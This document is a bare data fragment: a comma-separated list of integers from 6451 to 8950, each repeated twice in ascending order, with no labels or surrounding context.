6451,6451,6452,6452,6453,6453,6454,6454,6455,6455,6456,6456,6457,6457,6458,6458,6459,6459,6460,6460,6461,6461,6462,6462,6463,6463,6464,6464,6465,6465,6466,6466,6467,6467,6468,6468,6469,6469,6470,6470,6471,6471,6472,6472,6473,6473,6474,6474,6475,6475,6476,6476,6477,6477,6478,6478,6479,6479,6480,6480,6481,6481,6482,6482,6483,6483,6484,6484,6485,6485,6486,6486,6487,6487,6488,6488,6489,6489,6490,6490,6491,6491,6492,6492,6493,6493,6494,6494,6495,6495,6496,6496,6497,6497,6498,6498,6499,6499,6500,6500,6501,6501,6502,6502,6503,6503,6504,6504,6505,6505,6506,6506,6507,6507,6508,6508,6509,6509,6510,6510,6511,6511,6512,6512,6513,6513,6514,6514,6515,6515,6516,6516,6517,6517,6518,6518,6519,6519,6520,6520,6521,6521,6522,6522,6523,6523,6524,6524,6525,6525,6526,6526,6527,6527,6528,6528,6529,6529,6530,6530,6531,6531,6532,6532,6533,6533,6534,6534,6535,6535,6536,6536,6537,6537,6538,6538,6539,6539,6540,6540,6541,6541,6542,6542,6543,6543,6544,6544,6545,6545,6546,6546,6547,6547,6548,6548,6549,6549,6550,6550,6551,6551,6552,6552,6553,6553,6554,6554,6555,6555,6556,6556,6557,6557,6558,6558,6559,6559,6560,6560,6561,6561,6562,6562,6563,6563,6564,6564,6565,6565,6566,6566,6567,6567,6568,6568,6569,6569,6570,6570,6571,6571,6572,6572,6573,6573,6574,6574,6575,6575,6576,6576,6577,6577,6578,6578,6579,6579,6580,6580,6581,6581,6582,6582,6583,6583,6584,6584,6585,6585,6586,6586,6587,6587,6588,6588,6589,6589,6590,6590,6591,6591,6592,6592,6593,6593,6594,6594,6595,6595,6596,6596,6597,6597,6598,6598,6599,6599,6600,6600,6601,6601,6602,6602,6603,6603,6604,6604,6605,6605,6606,6606,6607,6607,6608,6608,6609,6609,6610,6610,6611,6611,6612,6612,6613,6613,6614,6614,6615,6615,6616,6616,6617,6617,6618,6618,6619,6619,6620,6620,6621,6621,6622,6622,6623,6623,6624,6624,6625,6625,6626,6626,6627,6627,6628,6628,6629,6629,6630,6630,6631,6631,6632,6632,6633,6633,6634,6634,6635,6635,6636,6636,6637,6637,6638,6638,6639,6639,6640,6640,6641,6641,6642,6642,6643,6643,6644,6644,6645,6645,6646,6646,6647,6647,6648,6648,6649,6649,6650,6650,6651,6651,6652,6652,6653,6653,6654,6654,6655,6655,6656,6656,6657,6657,6658,6658,6659,6659,6660,6660,6661,6661,6662,6662,6663,6663,6664,6664,6665,6665,6666,6666,6667,6667,6668,6668,6669,6669,6670,6670,6671,6671,6672,6672,6673,6673,6674,6674,6675,6675,6676,6676,6677,6677,6678,6678,6679,6679,6680,6680,6681,6681,6682,6682,6683,6683,6684,6684,6685,6685,6686,6686,6687,6687,6688,6688,6689,6689,6690,6690,6691,6691,6692,6692,6693,6693,6694,6694,6695,6695,6696,6696,6697,6697,6698,6698,6699,6699,6700,6700,6701,6701,6702,6702,6703,6703,6704,6704,6705,6705,6706,6706,6707,6707,6708,6708,6709,6709,6710,6710,6711,6711,6712,6712,6713,6713,6714,6714,6715,6715,6716,6716,6717,6717,6718,6718,6719,6719,6720,6720,6721,6721,6722,6722,6723,6723,6724,6724,6725,6725,6726,6726,6727,6727,6728,6728,6729,6729,6730,6730,6731,6731,6732,6732,6733,6733,6734,6734,6735,6735,6736,6736,6737,6737,6738,6738,6739,6739,6740,6740,6741,6741,6742,6742,6743,6743,6744,6744,6745,6745,6746,6746,6747,6747,6748,6748,6749,6749,6750,6750,6751,6751,6752,6752,6753,6753,6754,6754,6755,6755,6756,6756,6757,6757,6758,6758,6759,6759,6760,6760,6761,6761,6762,6762,6763,6763,6764,6764,6765,6765,6766,6766,6767,6767,6768,6768,6769,6769,6770,6770,6771,6771,6772,6772,6773,6773,6774,6774,6775,6775,6776,6776,6777,6777,6778,6778,6779,6779,6780,6780,6781,6781,6782,6782,6783,6783,6784,6784,6785,6785,6786,6786,6787,6787,6788,6788,6789,6789,6790,6790,6791,6791,6792,6792,6793,6793,6794,6794,6795,6795,6796,6796,6797,6797,6798,6798,6799,6799,6800,6800,6801,6801,6802,6802,6803,6803,6804,6804,6805,6805,6806,6806,6807,6807,6808,6808,6809,6809,6810,6810,6811,6811,6812,6812,6813,6813,6814,6814,6815,6815,6816,6816,6817,6817,6818,6818,6819,6819,6820,6820,6821,6821,6822,6822,6823,6823,6824,6824,6825,6825,6826,6826,6827,6827,6828,6828,6829,6829,6830,6830,6831,6831,6832,6832,6833,6833,6834,6834,6835,6835,6836,6836,6837,6837,6838,6838,6839,6839,6840,6840,6841,6841,6842,6842,6843,6843,6844,6844,6845,6845,6846,6846,6847,6847,6848,6848,6849,6849,6850,6850,6851,6851,6852,6852,6853,6853,6854,6854,6855,6855,6856,6856,6857,6857,6858,6858,6859,6859,6860,6860,6861,6861,6862,6862,6863,6863,6864,6864,6865,6865,6866,6866,6867,6867,6868,6868,6869,6869,6870,6870,6871,6871,6872,6872,6873,6873,6874,6874,6875,6875,6876,6876,6877,6877,6878,6878,6879,6879,6880,6880,6881,6881,6882,6882,6883,6883,6884,6884,6885,6885,6886,6886,6887,6887,6888,6888,6889,6889,6890,6890,6891,6891,6892,6892,6893,6893,6894,6894,6895,6895,6896,6896,6897,6897,6898,6898,6899,6899,6900,6900,6901,6901,6902,6902,6903,6903,6904,6904,6905,6905,6906,6906,6907,6907,6908,6908,6909,6909,6910,6910,6911,6911,6912,6912,6913,6913,6914,6914,6915,6915,6916,6916,6917,6917,6918,6918,6919,6919,6920,6920,6921,6921,6922,6922,6923,6923,6924,6924,6925,6925,6926,6926,6927,6927,6928,6928,6929,6929,6930,6930,6931,6931,6932,6932,6933,6933,6934,6934,6935,6935,6936,6936,6937,6937,6938,6938,6939,6939,6940,6940,6941,6941,6942,6942,6943,6943,6944,6944,6945,6945,6946,6946,6947,6947,6948,6948,6949,6949,6950,6950,6951,6951,6952,6952,6953,6953,6954,6954,6955,6955,6956,6956,6957,6957,6958,6958,6959,6959,6960,6960,6961,6961,6962,6962,6963,6963,6964,6964,6965,6965,6966,6966,6967,6967,6968,6968,6969,6969,6970,6970,6971,6971,6972,6972,6973,6973,6974,6974,6975,6975,6976,6976,6977,6977,6978,6978,6979,6979,6980,6980,6981,6981,6982,6982,6983,6983,6984,6984,6985,6985,6986,6986,6987,6987,6988,6988,6989,6989,6990,6990,6991,6991,6992,6992,6993,6993,6994,6994,6995,6995,6996,6996,6997,6997,6998,6998,6999,6999,7000,7000,7001,7001,7002,7002,7003,7003,7004,7004,7005,7005,7006,7006,7007,7007,7008,7008,7009,7009,7010,7010,7011,7011,7012,7012,7013,7013,7014,7014,7015,7015,7016,7016,7017,7017,7018,7018,7019,7019,7020,7020,7021,7021,7022,7022,7023,7023,7024,7024,7025,7025,7026,7026,7027,7027,7028,7028,7029,7029,7030,7030,7031,7031,7032,7032,7033,7033,7034,7034,7035,7035,7036,7036,7037,7037,7038,7038,7039,7039,7040,7040,7041,7041,7042,7042,7043,7043,7044,7044,7045,7045,7046,7046,7047,7047,7048,7048,7049,7049,7050,7050,7051,7051,7052,7052,7053,7053,7054,7054,7055,7055,7056,7056,7057,7057,7058,7058,7059,7059,7060,7060,7061,7061,7062,7062,7063,7063,7064,7064,7065,7065,7066,7066,7067,7067,7068,7068,7069,7069,7070,7070,7071,7071,7072,7072,7073,7073,7074,7074,7075,7075,7076,7076,7077,7077,7078,7078,7079,7079,7080,7080,7081,7081,7082,7082,7083,7083,7084,7084,7085,7085,7086,7086,7087,7087,7088,7088,7089,7089,7090,7090,7091,7091,7092,7092,7093,7093,7094,7094,7095,7095,7096,7096,7097,7097,7098,7098,7099,7099,7100,7100,7101,7101,7102,7102,7103,7103,7104,7104,7105,7105,7106,7106,7107,7107,7108,7108,7109,7109,7110,7110,7111,7111,7112,7112,7113,7113,7114,7114,7115,7115,7116,7116,7117,7117,7118,7118,7119,7119,7120,7120,7121,7121,7122,7122,7123,7123,7124,7124,7125,7125,7126,7126,7127,7127,7128,7128,7129,7129,7130,7130,7131,7131,7132,7132,7133,7133,7134,7134,7135,7135,7136,7136,7137,7137,7138,7138,7139,7139,7140,7140,7141,7141,7142,7142,7143,7143,7144,7144,7145,7145,7146,7146,7147,7147,7148,7148,7149,7149,7150,7150,7151,7151,7152,7152,7153,7153,7154,7154,7155,7155,7156,7156,7157,7157,7158,7158,7159,7159,7160,7160,7161,7161,7162,7162,7163,7163,7164,7164,7165,7165,7166,7166,7167,7167,7168,7168,7169,7169,7170,7170,7171,7171,7172,7172,7173,7173,7174,7174,7175,7175,7176,7176,7177,7177,7178,7178,7179,7179,7180,7180,7181,7181,7182,7182,7183,7183,7184,7184,7185,7185,7186,7186,7187,7187,7188,7188,7189,7189,7190,7190,7191,7191,7192,7192,7193,7193,7194,7194,7195,7195,7196,7196,7197,7197,7198,7198,7199,7199,7200,7200,7201,7201,7202,7202,7203,7203,7204,7204,7205,7205,7206,7206,7207,7207,7208,7208,7209,7209,7210,7210,7211,7211,7212,7212,7213,7213,7214,7214,7215,7215,7216,7216,7217,7217,7218,7218,7219,7219,7220,7220,7221,7221,7222,7222,7223,7223,7224,7224,7225,7225,7226,7226,7227,7227,7228,7228,7229,7229,7230,7230,7231,7231,7232,7232,7233,7233,7234,7234,7235,7235,7236,7236,7237,7237,7238,7238,7239,7239,7240,7240,7241,7241,7242,7242,7243,7243,7244,7244,7245,7245,7246,7246,7247,7247,7248,7248,7249,7249,7250,7250,7251,7251,7252,7252,7253,7253,7254,7254,7255,7255,7256,7256,7257,7257,7258,7258,7259,7259,7260,7260,7261,7261,7262,7262,7263,7263,7264,7264,7265,7265,7266,7266,7267,7267,7268,7268,7269,7269,7270,7270,7271,7271,7272,7272,7273,7273,7274,7274,7275,7275,7276,7276,7277,7277,7278,7278,7279,7279,7280,7280,7281,7281,7282,7282,7283,7283,7284,7284,7285,7285,7286,7286,7287,7287,7288,7288,7289,7289,7290,7290,7291,7291,7292,7292,7293,7293,7294,7294,7295,7295,7296,7296,7297,7297,7298,7298,7299,7299,7300,7300,7301,7301,7302,7302,7303,7303,7304,7304,7305,7305,7306,7306,7307,7307,7308,7308,7309,7309,7310,7310,7311,7311,7312,7312,7313,7313,7314,7314,7315,7315,7316,7316,7317,7317,7318,7318,7319,7319,7320,7320,7321,7321,7322,7322,7323,7323,7324,7324,7325,7325,7326,7326,7327,7327,7328,7328,7329,7329,7330,7330,7331,7331,7332,7332,7333,7333,7334,7334,7335,7335,7336,7336,7337,7337,7338,7338,7339,7339,7340,7340,7341,7341,7342,7342,7343,7343,7344,7344,7345,7345,7346,7346,7347,7347,7348,7348,7349,7349,7350,7350,7351,7351,7352,7352,7353,7353,7354,7354,7355,7355,7356,7356,7357,7357,7358,7358,7359,7359,7360,7360,7361,7361,7362,7362,7363,7363,7364,7364,7365,7365,7366,7366,7367,7367,7368,7368,7369,7369,7370,7370,7371,7371,7372,7372,7373,7373,7374,7374,7375,7375,7376,7376,7377,7377,7378,7378,7379,7379,7380,7380,7381,7381,7382,7382,7383,7383,7384,7384,7385,7385,7386,7386,7387,7387,7388,7388,7389,7389,7390,7390,7391,7391,7392,7392,7393,7393,7394,7394,7395,7395,7396,7396,7397,7397,7398,7398,7399,7399,7400,7400,7401,7401,7402,7402,7403,7403,7404,7404,7405,7405,7406,7406,7407,7407,7408,7408,7409,7409,7410,7410,7411,7411,7412,7412,7413,7413,7414,7414,7415,7415,7416,7416,7417,7417,7418,7418,7419,7419,7420,7420,7421,7421,7422,7422,7423,7423,7424,7424,7425,7425,7426,7426,7427,7427,7428,7428,7429,7429,7430,7430,7431,7431,7432,7432,7433,7433,7434,7434,7435,7435,7436,7436,7437,7437,7438,7438,7439,7439,7440,7440,7441,7441,7442,7442,7443,7443,7444,7444,7445,7445,7446,7446,7447,7447,7448,7448,7449,7449,7450,7450,7451,7451,7452,7452,7453,7453,7454,7454,7455,7455,7456,7456,7457,7457,7458,7458,7459,7459,7460,7460,7461,7461,7462,7462,7463,7463,7464,7464,7465,7465,7466,7466,7467,7467,7468,7468,7469,7469,7470,7470,7471,7471,7472,7472,7473,7473,7474,7474,7475,7475,7476,7476,7477,7477,7478,7478,7479,7479,7480,7480,7481,7481,7482,7482,7483,7483,7484,7484,7485,7485,7486,7486,7487,7487,7488,7488,7489,7489,7490,7490,7491,7491,7492,7492,7493,7493,7494,7494,7495,7495,7496,7496,7497,7497,7498,7498,7499,7499,7500,7500,7501,7501,7502,7502,7503,7503,7504,7504,7505,7505,7506,7506,7507,7507,7508,7508,7509,7509,7510,7510,7511,7511,7512,7512,7513,7513,7514,7514,7515,7515,7516,7516,7517,7517,7518,7518,7519,7519,7520,7520,7521,7521,7522,7522,7523,7523,7524,7524,7525,7525,7526,7526,7527,7527,7528,7528,7529,7529,7530,7530,7531,7531,7532,7532,7533,7533,7534,7534,7535,7535,7536,7536,7537,7537,7538,7538,7539,7539,7540,7540,7541,7541,7542,7542,7543,7543,7544,7544,7545,7545,7546,7546,7547,7547,7548,7548,7549,7549,7550,7550,7551,7551,7552,7552,7553,7553,7554,7554,7555,7555,7556,7556,7557,7557,7558,7558,7559,7559,7560,7560,7561,7561,7562,7562,7563,7563,7564,7564,7565,7565,7566,7566,7567,7567,7568,7568,7569,7569,7570,7570,7571,7571,7572,7572,7573,7573,7574,7574,7575,7575,7576,7576,7577,7577,7578,7578,7579,7579,7580,7580,7581,7581,7582,7582,7583,7583,7584,7584,7585,7585,7586,7586,7587,7587,7588,7588,7589,7589,7590,7590,7591,7591,7592,7592,7593,7593,7594,7594,7595,7595,7596,7596,7597,7597,7598,7598,7599,7599,7600,7600,7601,7601,7602,7602,7603,7603,7604,7604,7605,7605,7606,7606,7607,7607,7608,7608,7609,7609,7610,7610,7611,7611,7612,7612,7613,7613,7614,7614,7615,7615,7616,7616,7617,7617,7618,7618,7619,7619,7620,7620,7621,7621,7622,7622,7623,7623,7624,7624,7625,7625,7626,7626,7627,7627,7628,7628,7629,7629,7630,7630,7631,7631,7632,7632,7633,7633,7634,7634,7635,7635,7636,7636,7637,7637,7638,7638,7639,7639,7640,7640,7641,7641,7642,7642,7643,7643,7644,7644,7645,7645,7646,7646,7647,7647,7648,7648,7649,7649,7650,7650,7651,7651,7652,7652,7653,7653,7654,7654,7655,7655,7656,7656,7657,7657,7658,7658,7659,7659,7660,7660,7661,7661,7662,7662,7663,7663,7664,7664,7665,7665,7666,7666,7667,7667,7668,7668,7669,7669,7670,7670,7671,7671,7672,7672,7673,7673,7674,7674,7675,7675,7676,7676,7677,7677,7678,7678,7679,7679,7680,7680,7681,7681,7682,7682,7683,7683,7684,7684,7685,7685,7686,7686,7687,7687,7688,7688,7689,7689,7690,7690,7691,7691,7692,7692,7693,7693,7694,7694,7695,7695,7696,7696,7697,7697,7698,7698,7699,7699,7700,7700,7701,7701,7702,7702,7703,7703,7704,7704,7705,7705,7706,7706,7707,7707,7708,7708,7709,7709,7710,7710,7711,7711,7712,7712,7713,7713,7714,7714,7715,7715,7716,7716,7717,7717,7718,7718,7719,7719,7720,7720,7721,7721,7722,7722,7723,7723,7724,7724,7725,7725,7726,7726,7727,7727,7728,7728,7729,7729,7730,7730,7731,7731,7732,7732,7733,7733,7734,7734,7735,7735,7736,7736,7737,7737,7738,7738,7739,7739,7740,7740,7741,7741,7742,7742,7743,7743,7744,7744,7745,7745,7746,7746,7747,7747,7748,7748,7749,7749,7750,7750,7751,7751,7752,7752,7753,7753,7754,7754,7755,7755,7756,7756,7757,7757,7758,7758,7759,7759,7760,7760,7761,7761,7762,7762,7763,7763,7764,7764,7765,7765,7766,7766,7767,7767,7768,7768,7769,7769,7770,7770,7771,7771,7772,7772,7773,7773,7774,7774,7775,7775,7776,7776,7777,7777,7778,7778,7779,7779,7780,7780,7781,7781,7782,7782,7783,7783,7784,7784,7785,7785,7786,7786,7787,7787,7788,7788,7789,7789,7790,7790,7791,7791,7792,7792,7793,7793,7794,7794,7795,7795,7796,7796,7797,7797,7798,7798,7799,7799,7800,7800,7801,7801,7802,7802,7803,7803,7804,7804,7805,7805,7806,7806,7807,7807,7808,7808,7809,7809,7810,7810,7811,7811,7812,7812,7813,7813,7814,7814,7815,7815,7816,7816,7817,7817,7818,7818,7819,7819,7820,7820,7821,7821,7822,7822,7823,7823,7824,7824,7825,7825,7826,7826,7827,7827,7828,7828,7829,7829,7830,7830,7831,7831,7832,7832,7833,7833,7834,7834,7835,7835,7836,7836,7837,7837,7838,7838,7839,7839,7840,7840,7841,7841,7842,7842,7843,7843,7844,7844,7845,7845,7846,7846,7847,7847,7848,7848,7849,7849,7850,7850,7851,7851,7852,7852,7853,7853,7854,7854,7855,7855,7856,7856,7857,7857,7858,7858,7859,7859,7860,7860,7861,7861,7862,7862,7863,7863,7864,7864,7865,7865,7866,7866,7867,7867,7868,7868,7869,7869,7870,7870,7871,7871,7872,7872,7873,7873,7874,7874,7875,7875,7876,7876,7877,7877,7878,7878,7879,7879,7880,7880,7881,7881,7882,7882,7883,7883,7884,7884,7885,7885,7886,7886,7887,7887,7888,7888,7889,7889,7890,7890,7891,7891,7892,7892,7893,7893,7894,7894,7895,7895,7896,7896,7897,7897,7898,7898,7899,7899,7900,7900,7901,7901,7902,7902,7903,7903,7904,7904,7905,7905,7906,7906,7907,7907,7908,7908,7909,7909,7910,7910,7911,7911,7912,7912,7913,7913,7914,7914,7915,7915,7916,7916,7917,7917,7918,7918,7919,7919,7920,7920,7921,7921,7922,7922,7923,7923,7924,7924,7925,7925,7926,7926,7927,7927,7928,7928,7929,7929,7930,7930,7931,7931,7932,7932,7933,7933,7934,7934,7935,7935,7936,7936,7937,7937,7938,7938,7939,7939,7940,7940,7941,7941,7942,7942,7943,7943,7944,7944,7945,7945,7946,7946,7947,7947,7948,7948,7949,7949,7950,7950,7951,7951,7952,7952,7953,7953,7954,7954,7955,7955,7956,7956,7957,7957,7958,7958,7959,7959,7960,7960,7961,7961,7962,7962,7963,7963,7964,7964,7965,7965,7966,7966,7967,7967,7968,7968,7969,7969,7970,7970,7971,7971,7972,7972,7973,7973,7974,7974,7975,7975,7976,7976,7977,7977,7978,7978,7979,7979,7980,7980,7981,7981,7982,7982,7983,7983,7984,7984,7985,7985,7986,7986,7987,7987,7988,7988,7989,7989,7990,7990,7991,7991,7992,7992,7993,7993,7994,7994,7995,7995,7996,7996,7997,7997,7998,7998,7999,7999,8000,8000,8001,8001,8002,8002,8003,8003,8004,8004,8005,8005,8006,8006,8007,8007,8008,8008,8009,8009,8010,8010,8011,8011,8012,8012,8013,8013,8014,8014,8015,8015,8016,8016,8017,8017,8018,8018,8019,8019,8020,8020,8021,8021,8022,8022,8023,8023,8024,8024,8025,8025,8026,8026,8027,8027,8028,8028,8029,8029,8030,8030,8031,8031,8032,8032,8033,8033,8034,8034,8035,8035,8036,8036,8037,8037,8038,8038,8039,8039,8040,8040,8041,8041,8042,8042,8043,8043,8044,8044,8045,8045,8046,8046,8047,8047,8048,8048,8049,8049,8050,8050,8051,8051,8052,8052,8053,8053,8054,8054,8055,8055,8056,8056,8057,8057,8058,8058,8059,8059,8060,8060,8061,8061,8062,8062,8063,8063,8064,8064,8065,8065,8066,8066,8067,8067,8068,8068,8069,8069,8070,8070,8071,8071,8072,8072,8073,8073,8074,8074,8075,8075,8076,8076,8077,8077,8078,8078,8079,8079,8080,8080,8081,8081,8082,8082,8083,8083,8084,8084,8085,8085,8086,8086,8087,8087,8088,8088,8089,8089,8090,8090,8091,8091,8092,8092,8093,8093,8094,8094,8095,8095,8096,8096,8097,8097,8098,8098,8099,8099,8100,8100,8101,8101,8102,8102,8103,8103,8104,8104,8105,8105,8106,8106,8107,8107,8108,8108,8109,8109,8110,8110,8111,8111,8112,8112,8113,8113,8114,8114,8115,8115,8116,8116,8117,8117,8118,8118,8119,8119,8120,8120,8121,8121,8122,8122,8123,8123,8124,8124,8125,8125,8126,8126,8127,8127,8128,8128,8129,8129,8130,8130,8131,8131,8132,8132,8133,8133,8134,8134,8135,8135,8136,8136,8137,8137,8138,8138,8139,8139,8140,8140,8141,8141,8142,8142,8143,8143,8144,8144,8145,8145,8146,8146,8147,8147,8148,8148,8149,8149,8150,8150,8151,8151,8152,8152,8153,8153,8154,8154,8155,8155,8156,8156,8157,8157,8158,8158,8159,8159,8160,8160,8161,8161,8162,8162,8163,8163,8164,8164,8165,8165,8166,8166,8167,8167,8168,8168,8169,8169,8170,8170,8171,8171,8172,8172,8173,8173,8174,8174,8175,8175,8176,8176,8177,8177,8178,8178,8179,8179,8180,8180,8181,8181,8182,8182,8183,8183,8184,8184,8185,8185,8186,8186,8187,8187,8188,8188,8189,8189,8190,8190,8191,8191,8192,8192,8193,8193,8194,8194,8195,8195,8196,8196,8197,8197,8198,8198,8199,8199,8200,8200,8201,8201,8202,8202,8203,8203,8204,8204,8205,8205,8206,8206,8207,8207,8208,8208,8209,8209,8210,8210,8211,8211,8212,8212,8213,8213,8214,8214,8215,8215,8216,8216,8217,8217,8218,8218,8219,8219,8220,8220,8221,8221,8222,8222,8223,8223,8224,8224,8225,8225,8226,8226,8227,8227,8228,8228,8229,8229,8230,8230,8231,8231,8232,8232,8233,8233,8234,8234,8235,8235,8236,8236,8237,8237,8238,8238,8239,8239,8240,8240,8241,8241,8242,8242,8243,8243,8244,8244,8245,8245,8246,8246,8247,8247,8248,8248,8249,8249,8250,8250,8251,8251,8252,8252,8253,8253,8254,8254,8255,8255,8256,8256,8257,8257,8258,8258,8259,8259,8260,8260,8261,8261,8262,8262,8263,8263,8264,8264,8265,8265,8266,8266,8267,8267,8268,8268,8269,8269,8270,8270,8271,8271,8272,8272,8273,8273,8274,8274,8275,8275,8276,8276,8277,8277,8278,8278,8279,8279,8280,8280,8281,8281,8282,8282,8283,8283,8284,8284,8285,8285,8286,8286,8287,8287,8288,8288,8289,8289,8290,8290,8291,8291,8292,8292,8293,8293,8294,8294,8295,8295,8296,8296,8297,8297,8298,8298,8299,8299,8300,8300,8301,8301,8302,8302,8303,8303,8304,8304,8305,8305,8306,8306,8307,8307,8308,8308,8309,8309,8310,8310,8311,8311,8312,8312,8313,8313,8314,8314,8315,8315,8316,8316,8317,8317,8318,8318,8319,8319,8320,8320,8321,8321,8322,8322,8323,8323,8324,8324,8325,8325,8326,8326,8327,8327,8328,8328,8329,8329,8330,8330,8331,8331,8332,8332,8333,8333,8334,8334,8335,8335,8336,8336,8337,8337,8338,8338,8339,8339,8340,8340,8341,8341,8342,8342,8343,8343,8344,8344,8345,8345,8346,8346,8347,8347,8348,8348,8349,8349,8350,8350,8351,8351,8352,8352,8353,8353,8354,8354,8355,8355,8356,8356,8357,8357,8358,8358,8359,8359,8360,8360,8361,8361,8362,8362,8363,8363,8364,8364,8365,8365,8366,8366,8367,8367,8368,8368,8369,8369,8370,8370,8371,8371,8372,8372,8373,8373,8374,8374,8375,8375,8376,8376,8377,8377,8378,8378,8379,8379,8380,8380,8381,8381,8382,8382,8383,8383,8384,8384,8385,8385,8386,8386,8387,8387,8388,8388,8389,8389,8390,8390,8391,8391,8392,8392,8393,8393,8394,8394,8395,8395,8396,8396,8397,8397,8398,8398,8399,8399,8400,8400,8401,8401,8402,8402,8403,8403,8404,8404,8405,8405,8406,8406,8407,8407,8408,8408,8409,8409,8410,8410,8411,8411,8412,8412,8413,8413,8414,8414,8415,8415,8416,8416,8417,8417,8418,8418,8419,8419,8420,8420,8421,8421,8422,8422,8423,8423,8424,8424,8425,8425,8426,8426,8427,8427,8428,8428,8429,8429,8430,8430,8431,8431,8432,8432,8433,8433,8434,8434,8435,8435,8436,8436,8437,8437,8438,8438,8439,8439,8440,8440,8441,8441,8442,8442,8443,8443,8444,8444,8445,8445,8446,8446,8447,8447,8448,8448,8449,8449,8450,8450,8451,8451,8452,8452,8453,8453,8454,8454,8455,8455,8456,8456,8457,8457,8458,8458,8459,8459,8460,8460,8461,8461,8462,8462,8463,8463,8464,8464,8465,8465,8466,8466,8467,8467,8468,8468,8469,8469,8470,8470,8471,8471,8472,8472,8473,8473,8474,8474,8475,8475,8476,8476,8477,8477,8478,8478,8479,8479,8480,8480,8481,8481,8482,8482,8483,8483,8484,8484,8485,8485,8486,8486,8487,8487,8488,8488,8489,8489,8490,8490,8491,8491,8492,8492,8493,8493,8494,8494,8495,8495,8496,8496,8497,8497,8498,8498,8499,8499,8500,8500,8501,8501,8502,8502,8503,8503,8504,8504,8505,8505,8506,8506,8507,8507,8508,8508,8509,8509,8510,8510,8511,8511,8512,8512,8513,8513,8514,8514,8515,8515,8516,8516,8517,8517,8518,8518,8519,8519,8520,8520,8521,8521,8522,8522,8523,8523,8524,8524,8525,8525,8526,8526,8527,8527,8528,8528,8529,8529,8530,8530,8531,8531,8532,8532,8533,8533,8534,8534,8535,8535,8536,8536,8537,8537,8538,8538,8539,8539,8540,8540,8541,8541,8542,8542,8543,8543,8544,8544,8545,8545,8546,8546,8547,8547,8548,8548,8549,8549,8550,8550,8551,8551,8552,8552,8553,8553,8554,8554,8555,8555,8556,8556,8557,8557,8558,8558,8559,8559,8560,8560,8561,8561,8562,8562,8563,8563,8564,8564,8565,8565,8566,8566,8567,8567,8568,8568,8569,8569,8570,8570,8571,8571,8572,8572,8573,8573,8574,8574,8575,8575,8576,8576,8577,8577,8578,8578,8579,8579,8580,8580,8581,8581,8582,8582,8583,8583,8584,8584,8585,8585,8586,8586,8587,8587,8588,8588,8589,8589,8590,8590,8591,8591,8592,8592,8593,8593,8594,8594,8595,8595,8596,8596,8597,8597,8598,8598,8599,8599,8600,8600,8601,8601,8602,8602,8603,8603,8604,8604,8605,8605,8606,8606,8607,8607,8608,8608,8609,8609,8610,8610,8611,8611,8612,8612,8613,8613,8614,8614,8615,8615,8616,8616,8617,8617,8618,8618,8619,8619,8620,8620,8621,8621,8622,8622,8623,8623,8624,8624,8625,8625,8626,8626,8627,8627,8628,8628,8629,8629,8630,8630,8631,8631,8632,8632,8633,8633,8634,8634,8635,8635,8636,8636,8637,8637,8638,8638,8639,8639,8640,8640,8641,8641,8642,8642,8643,8643,8644,8644,8645,8645,8646,8646,8647,8647,8648,8648,8649,8649,8650,8650,8651,8651,8652,8652,8653,8653,8654,8654,8655,8655,8656,8656,8657,8657,8658,8658,8659,8659,8660,8660,8661,8661,8662,8662,8663,8663,8664,8664,8665,8665,8666,8666,8667,8667,8668,8668,8669,8669,8670,8670,8671,8671,8672,8672,8673,8673,8674,8674,8675,8675,8676,8676,8677,8677,8678,8678,8679,8679,8680,8680,8681,8681,8682,8682,8683,8683,8684,8684,8685,8685,8686,8686,8687,8687,8688,8688,8689,8689,8690,8690,8691,8691,8692,8692,8693,8693,8694,8694,8695,8695,8696,8696,8697,8697,8698,8698,8699,8699,8700,8700,8701,8701,8702,8702,8703,8703,8704,8704,8705,8705,8706,8706,8707,8707,8708,8708,8709,8709,8710,8710,8711,8711,8712,8712,8713,8713,8714,8714,8715,8715,8716,8716,8717,8717,8718,8718,8719,8719,8720,8720,8721,8721,8722,8722,8723,8723,8724,8724,8725,8725,8726,8726,8727,8727,8728,8728,8729,8729,8730,8730,8731,8731,8732,8732,8733,8733,8734,8734,8735,8735,8736,8736,8737,8737,8738,8738,8739,8739,8740,8740,8741,8741,8742,8742,8743,8743,8744,8744,8745,8745,8746,8746,8747,8747,8748,8748,8749,8749,8750,8750,8751,8751,8752,8752,8753,8753,8754,8754,8755,8755,8756,8756,8757,8757,8758,8758,8759,8759,8760,8760,8761,8761,8762,8762,8763,8763,8764,8764,8765,8765,8766,8766,8767,8767,8768,8768,8769,8769,8770,8770,8771,8771,8772,8772,8773,8773,8774,8774,8775,8775,8776,8776,8777,8777,8778,8778,8779,8779,8780,8780,8781,8781,8782,8782,8783,8783,8784,8784,8785,8785,8786,8786,8787,8787,8788,8788,8789,8789,8790,8790,8791,8791,8792,8792,8793,8793,8794,8794,8795,8795,8796,8796,8797,8797,8798,8798,8799,8799,8800,8800,8801,8801,8802,8802,8803,8803,8804,8804,8805,8805,8806,8806,8807,8807,8808,8808,8809,8809,8810,8810,8811,8811,8812,8812,8813,8813,8814,8814,8815,8815,8816,8816,8817,8817,8818,8818,8819,8819,8820,8820,8821,8821,8822,8822,8823,8823,8824,8824,8825,8825,8826,8826,8827,8827,8828,8828,8829,8829,8830,8830,8831,8831,8832,8832,8833,8833,8834,8834,8835,8835,8836,8836,8837,8837,8838,8838,8839,8839,8840,8840,8841,8841,8842,8842,8843,8843,8844,8844,8845,8845,8846,8846,8847,8847,8848,8848,8849,8849,8850,8850,8851,8851,8852,8852,8853,8853,8854,8854,8855,8855,8856,8856,8857,8857,8858,8858,8859,8859,8860,8860,8861,8861,8862,8862,8863,8863,8864,8864,8865,8865,8866,8866,8867,8867,8868,8868,8869,8869,8870,8870,8871,8871,8872,8872,8873,8873,8874,8874,8875,8875,8876,8876,8877,8877,8878,8878,8879,8879,8880,8880,8881,8881,8882,8882,8883,8883,8884,8884,8885,8885,8886,8886,8887,8887,8888,8888,8889,8889,8890,8890,8891,8891,8892,8892,8893,8893,8894,8894,8895,8895,8896,8896,8897,8897,8898,8898,8899,8899,8900,8900,8901,8901,8902,8902,8903,8903,8904,8904,8905,8905,8906,8906,8907,8907,8908,8908,8909,8909,8910,8910,8911,8911,8912,8912,8913,8913,8914,8914,8915,8915,8916,8916,8917,8917,8918,8918,8919,8919,8920,8920,8921,8921,8922,8922,8923,8923,8924,8924,8925,8925,8926,8926,8927,8927,8928,8928,8929,8929,8930,8930,8931,8931,8932,8932,8933,8933,8934,8934,8935,8935,8936,8936,8937,8937,8938,8938,8939,8939,8940,8940,8941,8941,8942,8942,8943,8943,8944,8944,8945,8945,8946,8946,8947,8947,8948,8948,8949,8949,8950,8950,